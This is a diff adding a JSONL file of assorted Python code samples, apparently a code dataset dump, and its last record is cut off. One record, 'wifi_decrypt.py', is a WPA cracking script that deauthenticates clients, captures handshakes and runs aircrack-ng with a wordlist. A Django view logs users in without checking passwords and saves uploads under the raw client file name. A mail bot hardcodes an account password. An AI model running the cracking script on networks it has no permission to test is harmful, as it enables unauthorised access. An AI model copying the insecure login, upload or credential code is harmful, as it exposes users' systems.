diff --git "a/091.jsonl" "b/091.jsonl" new file mode 100644--- /dev/null +++ "b/091.jsonl" @@ -0,0 +1,645 @@ +{"seq_id":"132399924","text":"import glob, os.path, re, json\nfrom sklearn import svm, metrics\nimport matplotlib.pyplot\nimport pandas \n\ntrain_data = list()\ntrain_label = list()\n\nfiles = glob.glob('./download/lang/train/*.txt') # Collect all file in directory\n\ncode_a = ord('a')\ncode_z = ord('z')\n\nfor file_name in files:\n base_name = os.path.basename(file_name) # Extract file name w/o directory path\n lang = base_name.split('-')[0]\n\n with open(file_name, 'r', encoding='utf-8') as file:\n text = file.read()\n text = text.lower() # If there are mixed up Uppercase and Lowercase, could be mad to encode to ASCII\n\n # Alphabet frequency \n\n count = [0 for _ in range(0, 26)] \n\n for character in text:\n code_current = ord(character)\n\n if code_a <= code_current <= code_z:\n count[code_current - code_a] += 1\n\n # Normalization\n \n total = sum(count)\n count = list(map(lambda n : n/total, count))\n\n train_data.append(count)\n train_label.append(lang)\n\n# Plotting \n\ngraph_dict = dict()\n\nfor index in range(0, len(train_label)):\n\n label = train_label[index]\n\n data = train_data[index]\n\n if not (label in graph_dict):\n graph_dict[label] = data\n\nasclist = [[chr(n) for n in range(97, 97+26)]]\n\ndf = pandas.DataFrame(graph_dict, index = asclist)\n\nmatplotlib.pyplot.style.use('ggplot')\n\ndf.plot(kind = 'bar', subplots = True, ylim = (0, 0.15))\n\nmatplotlib.pyplot.savefig('./download/lang/lang-plot.png')","sub_path":"scikit-learn/lang_graph.py","file_name":"lang_graph.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"315812687","text":"import os\nimport subprocess\nfrom subprocess import Popen, PIPE\n\n\nprint('Switching wifi to monitor mode')\nos.system('sleep4')\nos.system('clear')\nsubprocess.call([\"airmon-ng\", \"stop\", \"wlp2s0\"])\nsubprocess.call([\"airmon-ng\", \"start\", \"wlp2s0\"])\nos.system(\"xterm -e 'airodump-ng -w /tmp/scan --output-format csv wlp2s0mon; read'\")\n##os.system(\"xterm -e 'airodump-ng wlp2s0mon; read'\")\nos.system('clear')\nchannel = raw_input('Please enter channal router is using: \\n')\nos.system('sleep2')\nos.system('clear')\nbssid = raw_input('Please enter host router BSSID: \\n')\nos.system('sleep2')\nos.system('clear')\npath = raw_input('Please enter path were handsake will be kept: \\n')\nos.system('sleep2')\nos.system('clear')\nstation = raw_input('Please client bssid{station id}: \\n')\nos.system('sleep2')\nos.system('clear')\nnumber = raw_input('Please enter the number between 0 -- 10, amount deauth be send to client: \\n')\nos.system('sleep2')\nos.system('clear')\n\nprint('Starting handsake process')\nos.system('sleep4')\nos.system('clear')\n\nPopen(['xterm', '-e', 'aireplay-ng', '-0', number, '-a', bssid, '-c', station, 'wlp2s0mon'])\nPopen(['xterm', '-e', 'airodump-ng', '-c', channel, '--bssid', bssid, '-w', path, 'wlp2s0mon'])\n#subprocess.call([\"airodump-ng\", \"-c\", channel, \"--bssid\", bssid, \"-w\", path, \"wlp2s0mon\"])\nos.system('sleep4')\nos.system('clear')\n\npath1 = raw_input('Please enter path were worldlist is kept for cracking router: \\n')\nos.system('sleep2')\nos.system('clear')\npath2 = raw_input('Please enter path were handsake is kept for router{and remember add file format}: \\n')\nos.system('sleep2')\nos.system('clear')\nsubprocess.call([\"airmon-ng\", \"stop\", \"wlp2s0mon\"])\nsubprocess.call([\"aircrack-ng\", \"-a\", \"2\", \"-b\", bssid, \"-w\", path1, path2])\nexit(0)\n","sub_path":"wifi_decrypt.py","file_name":"wifi_decrypt.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"475449291","text":"from django.shortcuts import render\nfrom django.shortcuts import redirect\nfrom django.shortcuts import HttpResponse\nfrom .models import users\n# Create your views here.\nimport json\n\n\nimport os,django\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"test_platform.settings\")\ndjango.setup()\n\n# 文件列表路径\n\nfile_path = os.path.join(os.path.dirname(os.path.dirname(__file__)),'media')\n\n\n#_______________________首页_______________________________________________________________________________\n\ndef index(request):\n return render(request,'index.html')\n\n#_______________________登陆_______________________________________________________________________________\n\ndef login(request):\n if request.method == 'POST':\n user = request.POST.get('user')\n pws = request.POST.get('pws')\n u = users.objects.filter(username=user)\n print(u,user,pws)\n if u and user and pws:\n print(user,pws,u[0].username)\n rsp = {'status': 1, 'data': {'username':u[0].username},'message':''}\n return HttpResponse(json.dumps(rsp))\n else:\n rsp = {'status':0,'data':{},'message':'用户名错误'}\n return HttpResponse(json.dumps(rsp))\n else:\n return render(request,'login.html')\n\n#_______________________wiki_______________________________________________________________________________\n\ndef wiki(request):\n files = os.listdir(file_path)\n return render(request,'wiki.html',{'files':files})\n\n\ndef upload_file(request):\n if request.method == 'POST':\n file_obj = request.FILES.get('file')\n f = open(os.path.join(file_path, file_obj.name), 'wb')\n for chunk in file_obj.chunks():\n f.write(chunk)\n f.close()\n return HttpResponse('OK')\n\n#_______________________接口测试_______________________________________________________________________________\n\npro_info = ['pro1','pro2','pro3','pro4']\n\nver_info = {\n 'pro1':['v1.11','v1.1.12','v1.3.1'],\n 'pro2':['v2.11','v2.1.12','v2.3.1'],\n 'pro3':['v3.11','v3.1.12','v3.3.1'],\n 'pro4':['v4.11','v4.1.12','v4.3.1'],\n }\n\n\npro = [{'p_name':'pro1','p_version':'v1.0', 'IF_count':10, 'IF_add':'http://192.168.50.244/index.html', 'ps':'',},\n {'p_name':'pro2','p_version':'v1.2', 'IF_count':30, 'IF_add':'https://xiaochongtestcube.hc.top/product', 'ps':'',}\n ]\n\nIF = [{'name':'IF1','type':'get','url':'url1','parameter':['para1','para2','para3'],'example':'example1','script':1,'id':0,'ps':'',},\n {'name':'IF2','type':'post','url':'url2','parameter':['para4','para5','para6'],'example':'example2','script':1,'id':1,'ps':'',},\n {'name':'IF3','type':'get','url':'url3','parameter':['para7','para8','para9'],'example':'example3','script':0,'id':2,'ps':'',}]\n\ndef interface(request):\n\n return render(request, 'interface.html', {'product':pro})\n\ndef add_IF(request):\n import random\n if request.method == \"POST\":\n\n newData = {'p_name':request.POST.get('proName'),\n 'p_version':request.POST.get('version'),\n 'IF_count':request.POST.get('IF_count'),\n 'IF_add':request.POST.get('IF_add'),\n 'ps':request.POST.get('ps'),\n 'id': random.randint(3,100)\n }\n print(newData)\n pro.append(newData)\n return HttpResponse('OK')\n\n\ndef IF_list(request,pro_id,ver_id):\n\n return render(request, 'IF_list.html', {'IF_info':IF})\n\ndef addsrp(request,IF_id):\n\n\n rsp = IF[int(IF_id)]\n\n print(rsp)\n return render(request, 'srp.html',{'i':rsp})\n\n\n\n\n\n\n\n#_______________________产品_______________________________________________________________________________\n\ndef product(request):\n\n return render(request,'product.html')","sub_path":"home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"531287556","text":"from string import ascii_letters, punctuation, digits, ascii_lowercase, ascii_uppercase\n\n\nclass gera_senha:\n def __init__(self, tam, arg):\n self.tam = tam\n self.arg = arg\n self.l = 0\n\n def full(self):\n from string import ascii_letters, punctuation, digits, ascii_lowercase, ascii_uppercase\n from random import choice\n self.l = list\n if self.arg == '1':\n for i in range(0, self.tam):\n self.l = choice(ascii_uppercase + ascii_lowercase + digits)\n print(self.l, end='')\n elif self.arg == '2':\n for i in range(0, self.tam):\n self.l = choice(ascii_uppercase + ascii_lowercase + punctuation)\n print(self.l, end='')\n elif self.arg == '3':\n for i in range(0, self.tam):\n self.l = choice(ascii_uppercase + ascii_lowercase)\n print(self.l, end='')\n elif self.arg == '4':\n for i in range(0, self.tam):\n self.l = choice(ascii_uppercase)\n print(self.l, end='')\n elif self.arg == '5':\n for i in range(0, self.tam):\n self.l = choice(digits + punctuation + ascii_uppercase)\n print(self.l, end='')\n elif self.arg == '6':\n for i in range(0, self.tam):\n self.l = choice(digits + punctuation + ascii_lowercase)\n print(self.l, end='')\n elif self.arg == '7':\n for i in range(0, self.tam):\n self.l = choice(digits + punctuation)\n print(self.l, end='')\n elif self.arg == '8':\n for i in range(0, self.tam):\n self.l = choice(digits + ascii_uppercase)\n print(self.l, end='')\n elif self.arg == '9':\n for i in range(0, self.tam):\n self.l = choice(digits + ascii_lowercase)\n print(self.l, end='')\n elif self.arg == '10':\n for i in range(0, self.tam):\n self.l = choice(punctuation + ascii_uppercase)\n print(self.l, end='')\n elif self.arg == '11':\n for i in range(0, self.tam):\n self.l = choice(punctuation + ascii_lowercase)\n print(self.l, end='')\n elif self.arg == '12':\n for i in range(0, self.tam):\n self.l = choice(ascii_letters + punctuation + digits)\n print(self.l, end='')\n\n\n\ndef resp_tamanho():\n print('\\033[1;31m[ERRO FATAL ! TAMANHO MINIMO DE 8 CARACTERES E MAXIMO DE 40:]\\033[0;0m')\n\n\ndef resp_letra():\n print('\\033[1;31m[ERRO FATAL ! NÃO É PERMITIDO LETRAS, SIMBOLOS OU ESPAÇOS EM BRANCO:]\\033[0;0m ')\n\n\ntamanho = 0\nn = ['8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26','27', '28', '29', '30','31','32','33','34','35','36','37','38','39','40',8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40]\n\nwhile not tamanho in n:\n tamanho = input('TAMANHO DO PASSWORD: ')\n if tamanho in ascii_letters or tamanho in punctuation:\n resp_letra()\n elif tamanho not in n:\n resp_tamanho()\n else:\n tamanho = int(tamanho)\n\n\ndef men():\n p = input('''\n \\033[1;31mOPÇÕES DE PASSWORD:\\033[0;0m\n [ 1 ] LETRAS MAIUSCULAS + LETRAS MINUSCULAS + NUMEROS \n [ 2 ] LETRAS MAIUSCULAS + LETRAS MINUSCULAS + SIMBOLOS\n [ 3 ] LETRAS MAIUSCULAS + LETRAS MINUSCULAS\n [ 4 ] LETRAS MAIUSCULAS \n [ 5 ] NUMEROS + SIMBOLOS + LETRAS MAIUSCULAS\n [ 6 ] NUMEROS + SIMBOLOS + LETRAS MINUSCULAS\n [ 7 ] NUMEROS + SIMBOLOS\n [ 8 ] NUMEROS + LETRAS MAIUSCULAS\n [ 9 ] NUMEROS + LETRAS MINUSCULAS\n [ 10 ] SIMBOLOS + LETRAS MAIUSCULAS\n [ 11 ] SIMBOLOS + LETRAS MINUSCULAS\n [ 12 ] TODOS OS VALORES\n ''')\n return p\n\ninst = men()\n\nesc_men = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12']\n\nif type(tamanho) is int and tamanho >= 8 and tamanho <= 40:\n if inst in esc_men:\n arg = inst\n tam_ger = gera_senha(tamanho, arg)\n tam_ger.full()","sub_path":"gerador_de_senhas.py","file_name":"gerador_de_senhas.py","file_ext":"py","file_size_in_byte":4163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"103506551","text":"if user_input1 in [1, 2, 3, 4, 5]:\n first = eval(input(\"Enter first number:\"))\n second = eval(input(\"Enter second number:\"))\n if user_input1 == 1:\n print(\"Addition:\", first + second)\n elif user_input1 == 2:\n print(\"Subtraction:\", first - second)\n elif user_input1 == 3:\n print(\"Division:\", first / second)\n elif user_input1 == 2:\n print(\"Multiplication:\", first * second)\n else:\n first1 = eval(input(\"Enter the third number:\"))\n second1 = eval(input(\"Enter fourth number:\"))\n print(\"Average:\", sum([first, second, first1, second1]) / 4)\nelse:\n print(\"ZSA\")","sub_path":"Task2.py","file_name":"Task2.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"265941033","text":"import time\nfrom mailbot import MailBot\nfrom threading import Thread\n\n# thread lấy email mới\ndef threaded_get_new_email(mb):\n print(\"thread running\")\n while True:\n # mở inbox và tìm tất cả email có tag UNSEEN\n mb.con.select('INBOX')\n result, data = mb.con.search(None, 'UNSEEN')\n if result == 'OK'and len(data[0])>0:\n print(\"New email: \"+str(data)+\"\\n\")\n\n # import dữ liệu lấy được từ email lên trang pleiger\n response=mb.pleiger_input(data)\n\n print(response)\n\n time.sleep(2)\n\n# Đăng nhập vào mail\nmb2 = MailBot(\"hoaiphong.nguyen@thlsoft.com\",\"123456789a\",\"mail.thlsoft.com\")\nmb2.login_imap()\n\nthread = Thread(target=threaded_get_new_email, args=(mb2,),daemon=True)\nthread.start()\n\nx = input()\nwhile x != 'q':\n x= input()\n\nexit()\n\n\n\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"404653127","text":"import logging\nfrom colorlog import ColoredFormatter\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\n\nch = logging.StreamHandler()\nch.setLevel(logging.DEBUG)\n\ncolor_formatter = ColoredFormatter(\n datefmt='%y-%m-%d %H;%M:%S',\n log_colors={\n 'DEBUG': 'blue',\n 'INFO': 'cyan',\n 'WARNING': 'yellow',\n 'ERROR': 'red',\n 'CRITICAL': 'bold_red',\n }\n)\nch.setFormatter(color_formatter)\n\nlogger.addHandler(ch)\n","sub_path":"normalize/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"325259042","text":"#!/usr/bin/python3\nfrom sklearn import tree\n#features about APPLE=0 and ORANGE=1\n\ndata=[[100,0],[130,0],[135,1],[150,1]]\n\noutput=[\"APPLE\",\"APPLE\",\"ORANGE\",\"ORANGE\"]\n\n#decision tree algorithm call\ntrained_algo=tree.DecisionTreeClassifier()\n\n#train the data\ntrained_data=trained_algo.fit(data,output)\n\n#now testing phase\npredict_1=trained_algo.predict([[100,1]])\npredict_2=trained_algo.predict([[145,1]])\n\n#printing the output\nprint(predict_1)\nprint(predict_2)\n","sub_path":"SML_eg.py","file_name":"SML_eg.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"599645998","text":"\nimport requests\n\nfrom ..base_utils import *\n\nclass ApiParams(Params):\n#{\n def __init__( self, i_params = None ):\n #{\n defaults = {\n 'api_key': \"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\",\n 'endpoint': \"https://chapi.cloudhealthtech.com/olap_reports/cost/history\",\n 'options': {\"interval\" : \"hourly\"}\n }\n\n Params.__init__( self, defaults, i_params )\n #} def __init__\n#}\n\nclass ApiEngine(Engine):\n#{\n def __init__( self, i_params = None ):\n #{\n self.params_class = \"ApiParams\"\n if i_params is None:\n i_params = ApiParams()\n Engine.__init__( self, i_params )\n #} def __init__\n\n def run_( self ):\n #{\n request_params = dict( [(\"api_key\", self.params[\"api_key\"])] +\n list(self.params[\"options\"].items()) )\n self.response = requests.get( self.params[\"endpoint\"], request_params )\n return self.response\n #} def run_\n#}\n","sub_path":"chatk/data/api_utils.py","file_name":"api_utils.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"227973085","text":"#\r\n# Shane Bishop\r\n# 101030053\r\n#\r\n# Reference List:\r\n# Gaddis, T. (2015). \"Starting Out With Python\"\r\n#\r\n\r\n# Tell user what program does\r\nprint(\"This program lists all possible combinations of character using the format shown below.\")\r\nprint()\r\nprint(\"\\t\\tthe 1st must be a number between 1 and 9 that is divisible by 2\")\r\nprint(\"\\t\\tthe 2nd must be a number between 4 and 5 excluding 4 including 5\")\r\nprint(\"\\t\\tthe 3rd must be a letter between L and N excluding L excluding N\")\r\nprint(\"\\t\\tthe 4th must be a number between 3 and 7 excluding 3 excluding 7\")\r\nprint(\"\\t\\tthe 5th must be a letter between J and K excluding J including K\")\r\nprint(\"\\t\\tthe 6th must be a number between 0 and 9 that is divisible by 3\")\r\nprint()\r\n\r\n# Print each combination of characters on a separate line\r\nfor a in range(2, 10, 2):\r\n\tfirst_char = str(a)\r\n\t\r\n\tb = 4\r\n\touter_flag = True\r\n\twhile outer_flag:\r\n\t\tb += 1\r\n\t\tsecond_char = str(b)\r\n\t\touter_flag = False\r\n\t\t\r\n\t\tc = ord(\"L\")\r\n\t\tmiddle_flag = True\r\n\t\twhile middle_flag:\r\n\t\t\tc += 1\r\n\t\t\tthird_char = chr(c)\r\n\t\t\tmiddle_flag = False\r\n\t\t\t\r\n\t\t\tfor d in range(4, 7):\r\n\t\t\t\tfourth_char = str(d)\r\n\t\t\t\t\r\n\t\t\t\te = ord(\"J\")\r\n\t\t\t\tinner_flag = True\r\n\t\t\t\twhile inner_flag:\r\n\t\t\t\t\te += 1\r\n\t\t\t\t\tfifth_char = chr(e)\r\n\t\t\t\t\tinner_flag = False\r\n\t\t\t\t\t\r\n\t\t\t\t\tfor f in range(0, 10, 3):\r\n\t\t\t\t\t\tsixth_char = str(f)\r\n\t\t\t\r\n\t\t\t\t\t\tprint(first_char + second_char + third_char + \\\r\n\t\t\t\t\t\t\tfourth_char + fifth_char + sixth_char)","sub_path":"a3q2-character-combinations.py","file_name":"a3q2-character-combinations.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"364678203","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('api', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='TradeshowSettings',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('created', models.DateTimeField(auto_now_add=True, null=True)),\n ('updated', models.DateTimeField(auto_now=True, null=True)),\n ('settingValue', models.TextField()),\n ('defaultSettingValue', models.CharField(max_length=100)),\n ],\n options={\n 'db_table': 'TradeshowSettings',\n },\n ),\n migrations.RemoveField(\n model_name='exhibitorsettings',\n name='exhibitor',\n ),\n migrations.RemoveField(\n model_name='exhibitorsettings',\n name='setting',\n ),\n migrations.RemoveField(\n model_name='exhibitor',\n name='settings',\n ),\n migrations.AddField(\n model_name='settings',\n name='created',\n field=models.DateTimeField(auto_now_add=True, null=True),\n ),\n migrations.AddField(\n model_name='settings',\n name='updated',\n field=models.DateTimeField(auto_now=True, null=True),\n ),\n migrations.DeleteModel(\n name='ExhibitorSettings',\n ),\n migrations.AddField(\n model_name='tradeshowsettings',\n name='setting',\n field=models.ForeignKey(to='api.Settings'),\n ),\n migrations.AddField(\n model_name='tradeshowsettings',\n name='tradeshow',\n field=models.ForeignKey(to='api.Tradeshow'),\n ),\n migrations.AddField(\n model_name='tradeshow',\n name='settings',\n field=models.ManyToManyField(to='api.Settings', through='api.TradeshowSettings'),\n ),\n ]\n","sub_path":"tradeshow/api/migrations/0002_auto_20170808_1205.py","file_name":"0002_auto_20170808_1205.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"515156445","text":"import authenticate_data\r\n\r\n\r\ndef find_river_size(mat):\r\n rows = len(mat)\r\n cols = len(mat[0])\r\n result = []\r\n queue = []\r\n directions = [(0, 1), (1, 0), (-1, 0), (0, -1)]\r\n for row in range(rows):\r\n for col in range(cols):\r\n if mat[row][col] == 1:\r\n mat[row][col] = 0\r\n size = 1\r\n queue.append((row, col))\r\n\r\n while queue:\r\n r, c = queue.pop(0)\r\n for d in directions:\r\n new_r, new_c = r+d[0], c+d[1]\r\n if 0 <= new_r < rows and 0 <= new_c < cols:\r\n if mat[new_r][new_c] == 1:\r\n mat[new_r][new_c] = 0\r\n queue.append((new_r, new_c))\r\n size += 1\r\n result.append(size)\r\n return result\r\n\r\n\r\ndef guess_the_river_size(river_sizes):\r\n number_of_rivers = len(river_sizes)\r\n right_guesses = 0\r\n guess_count = 1\r\n your_guess = []\r\n index = 0\r\n print(\"***Guess the River Size***\")\r\n while guess_count <= number_of_rivers:\r\n print(\"Guess %d of %d\" % (guess_count, number_of_rivers))\r\n guess = int(input(\"Enter the size:\"))\r\n your_guess.append(guess)\r\n if river_sizes[index] == guess:\r\n right_guesses += 1\r\n guess_count += 1\r\n index += 1\r\n print()\r\n print(\"***Evaluating your guesses...***\")\r\n print(\"River sizes:\", river_sizes)\r\n print(\"Your guesses: \", your_guess)\r\n\r\n win_percentage = (right_guesses/number_of_rivers)*100\r\n if win_percentage == 100.0:\r\n print(\"You are the winner\")\r\n elif win_percentage >= 60.0:\r\n print(\"You got second position\")\r\n else:\r\n print(\"Invest more money on Almonds, then come back\")\r\n print(\"Game Over!\")\r\n\r\n\r\nif __name__ == '__main__':\r\n matrix = authenticate_data.result\r\n river_sizes = find_river_size(matrix)\r\n guess_the_river_size(river_sizes)\r\n\r\n\r\n\r\n","sub_path":"game_functionality.py","file_name":"game_functionality.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"567372771","text":"#1 and 2 Linear locate using tail recursion\ndef locate_rec(num,arr,lo,hi,length): #helper function for linear locate\n\tif(lo==hi and arr[lo]>=num):\n\t\treturn lo\n\telif(lo==hi):\n\t\treturn length\n\tmid=lo+(hi-lo)//2\n\tif(arr[mid]>=num):\n\t\thi=mid\n\telse:\n\t\tlo=mid+1\n\treturn locate_rec(num,arr,lo,hi,length)\ndef linear_locate(num,arr,length):\n\tif(length==0):\n\t\treturn 0\n\treturn locate_rec(num,arr,0,length-1,length)\n#3 Iterative linear locate.......... \ndef ll_iterate(num,arr,length): #Helper function for linear search\n\tfor i in range(length):\n\t\tif(arr[i]>=num):\n\t\t\treturn i\n\treturn length-1\n#4 Linear search using linear locate\ndef linear_search(num,arr,length):\n\tif(length==0):\n\t\treturn -1\n\tpos=ll_iterate(num,arr,length)\n\tif(arr[pos]==num):\n\t\treturn pos\n\telse:\n\t\treturn -1\n#5 Ordered_Insert..................\ndef ordered_insert_helper(num,arr,lo,hi,new): #Helper function of ordered insert\n\tif(lo==hi and arr[lo]>=num):\n\t\tnew[lo+1]=arr[lo]\n\t\tnew[lo]=num\n\t\treturn lo\n\telif(lo==hi):\n\t\tnew[lo]=arr[lo]\n\t\tnew[lo+1]=num\n\t\treturn len(arr)\n\tmid=lo+(hi-lo)//2\n\tif(arr[mid]>=num):\n\t\tnew[mid+2:hi+2]=arr[mid+1:hi+1]\n\t\t#print(new)\n\t\thi=mid\n\telse:\n\t\tnew[lo:mid+1]=arr[lo:mid+1]\n\t\tlo=mid+1\n\treturn ordered_insert_helper(num,arr,lo,hi,new)\ndef ordered_insert(num,arr):\n\tnew=[0 for i in range(0,len(arr)+1)]\n\tif(len(arr)==0):\n\t\tnew[0]=num\n\telse:\n\t\tpos=ordered_insert_helper(num,arr,0,len(arr)-1,new)\n\treturn new\t\n#6 Iterative ordered insert....................\ndef itr_ordered_insert(num,arr,length):\n\tpos=linear_locate(num,arr,length)\n\tprint(pos)\n\tfor i in range(length,pos,-1):\n\t\tarr[i]=arr[i-1]\n\tarr[pos]=num\n\treturn arr\n#7 Insertion sort.............................\ndef insertion_sort(arr):\n\tif(len(arr)==0):\n\t\treturn arr\n\telse:\n\t\treturn ordered_insert(arr[0],insertion_sort(arr[1:len(arr)]))\n#8 Modified ordered insert\n# .\n# .\n# .\n# .\n# .\n# .\n# .\ndef main():\n\tarr=[]\n\tarr=[int(i) for i in input().split()]\n\tlength=len(arr)\n\tnew=arr+[0]\n\tnum=int(input(\"Enter number to check\"))\n\t# if(length==0):\n\t# \tprint(0)\n\t# \texit()\n\tprint(\"The position to insert \",num,\" is \",linear_locate(num,arr,length))\n\tprint(\"The element is present in \",linear_search(num,arr,length))\n\tarr=ordered_insert(num,arr)\n\tprint(\"The new inserted array is \",arr)\n\tprint(\"The iteratively inserted array is\",itr_ordered_insert(num,new,length))\n\tar=[]\n\tprint(\"Enter array for sorting\")\n\tar=[int(i) for i in input().split()]\n\tprint(\"The sorted array is \",insertion_sort(ar))\nif __name__=='__main__':\n\tmain()\n ","sub_path":"Insertion_sort.py","file_name":"Insertion_sort.py","file_ext":"py","file_size_in_byte":2466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"613956510","text":"#!/usr/bin/env python3\n\nfrom pathlib import Path\n\nfrom mahiru.definitions.workflows import Job, Workflow, WorkflowStep\nfrom mahiru.rest.internal_client import InternalSiteRestClient\n\n\nCERTS_DIR = Path.home() / 'mahiru' / 'certs'\nPRIVATE_DIR = Path.home() / 'mahiru' / 'private'\n\n\nif __name__ == '__main__':\n # create single-step workflow\n workflow = Workflow(\n ['input'], {'result': 'compute.output0'}, [\n WorkflowStep(\n name='compute',\n inputs={'input0': 'input'},\n outputs={'output0':\n 'asset:party1.mahiru.example.org:da.data.output_base'\n ':party1.mahiru.example.org:site1'},\n compute_asset_id=(\n 'asset:party1.mahiru.example.org:da.software.script1'\n ':party1.mahiru.example.org:site1'))\n ]\n )\n\n inputs = {\n 'input':\n 'asset:party2.mahiru.example.org:da.data.input'\n ':party2.mahiru.example.org:site2'}\n\n # run workflow\n client = InternalSiteRestClient(\n 'party:party1.mahiru.example.org:party1',\n 'site:party1.mahiru.example.org:site1',\n 'https://site1.mahiru.example.org:1443',\n CERTS_DIR / 'trust_store.pem',\n (\n CERTS_DIR / 'site1_https_cert.pem',\n PRIVATE_DIR / 'site1_https_key.pem'))\n print('Submitting job...')\n job_id = client.submit_job(Job(\n 'party:party1.mahiru.example.org:party1', workflow, inputs))\n print(f'Submitted, waiting for result at {job_id}')\n result = client.get_job_result(job_id)\n\n print(f'Job complete:')\n print(f'Job: {result.job}')\n print(f'Plan: {result.plan}')\n print(f'Outputs: {result.outputs}')\n","sub_path":"scenarios/data_access/client1/submit_job.py","file_name":"submit_job.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"337929960","text":"import sys\r\nimport torch\r\nfrom sklearn.cluster import MiniBatchKMeans\r\nfrom sklearn.metrics import f1_score, pairwise_distances, roc_auc_score\r\nfrom scipy.cluster.vq import vq, kmeans\r\nfrom sklearn.decomposition import PCA\r\nfrom torch.utils.data import DataLoader\r\nfrom torch.utils.data import (DataLoader, RandomSampler, SequentialSampler,\r\n TensorDataset)\r\nimport numpy as np\r\nfrom model import fcn_autoencoder\r\nfrom cnn2 import conv2_autoencoder\r\n\r\n\r\ndef knn(y, n): # y is encoder output, n is num of clusters\r\n y = y.reshape(len(y), -1)\r\n scores = list()\r\n kmeans_y = MiniBatchKMeans(n_clusters=n, batch_size=100).fit(y)\r\n y_cluster = kmeans_y.predict(y)\r\n y_dist = np.sum(np.square(kmeans_y.cluster_centers_[y_cluster] - y), axis=1)\r\n y_pred = y_dist\r\n return y_pred\r\n\r\ndef pca(y, n): # y is encoder output, n is num of clusters\r\n y = y.reshape(len(y), -1)\r\n pca = PCA(n_components=n).fit(y)\r\n y_projected = pca.transform(y)\r\n y_reconstructed = pca.inverse_transform(y_projected) \r\n dist = np.sqrt(np.sum(np.square(y_reconstructed - y).reshape(len(y), -1), axis=1))\r\n y_pred = dist\r\n return y_pred\r\n\r\nif __name__ == \"__main__\":\r\n \r\n batch_size = 128\r\n\r\n data_pth = sys.argv[1]\r\n model_pth = sys.argv[2]\r\n output_pth = sys.argv[3]\r\n\r\n if \"baseline\" in model_pth:\r\n model_type = \"fcn\"\r\n elif \"best\" in model_pth:\r\n model_type = \"cnn\"\r\n else:\r\n print(\"unknown model type\")\r\n\r\n test = np.load(data_pth, allow_pickle=True)\r\n \r\n if model_type == 'fcn':\r\n y = test.reshape(len(test), -1)\r\n else:\r\n y = test\r\n \r\n data = torch.tensor(y, dtype=torch.float)\r\n test_dataset = TensorDataset(data)\r\n test_sampler = SequentialSampler(test_dataset)\r\n test_dataloader = DataLoader(test_dataset, sampler=test_sampler, batch_size=batch_size)\r\n\r\n \r\n model = torch.load(model_pth, map_location='cuda')\r\n\r\n model.eval()\r\n reconstructed = list()\r\n for i, data in enumerate(test_dataloader): \r\n \r\n if model_type == 'cnn':\r\n img = data[0].transpose(3, 1).cuda()\r\n else:\r\n img = data[0].cuda()\r\n \r\n output = model(img)\r\n \r\n if model_type == 'cnn':\r\n output = output.transpose(3, 1)\r\n\r\n reconstructed.append(output.cpu().detach().numpy())\r\n\r\n reconstructed = np.concatenate(reconstructed, axis=0)\r\n\r\n \r\n anomality = np.sqrt(np.sum(np.square(reconstructed - y).reshape(len(y), -1), axis=1))\r\n y_pred = anomality\r\n \r\n with open(output_pth, 'w') as f:\r\n f.write('id,anomaly\\n')\r\n for i in range(len(y_pred)):\r\n f.write('{},{}\\n'.format(i+1, y_pred[i]))\r\n","sub_path":"hw10/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"530804880","text":"# -*- coding: utf-8 -*-\n# Copyright 2017 Green IT Globe NV\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an 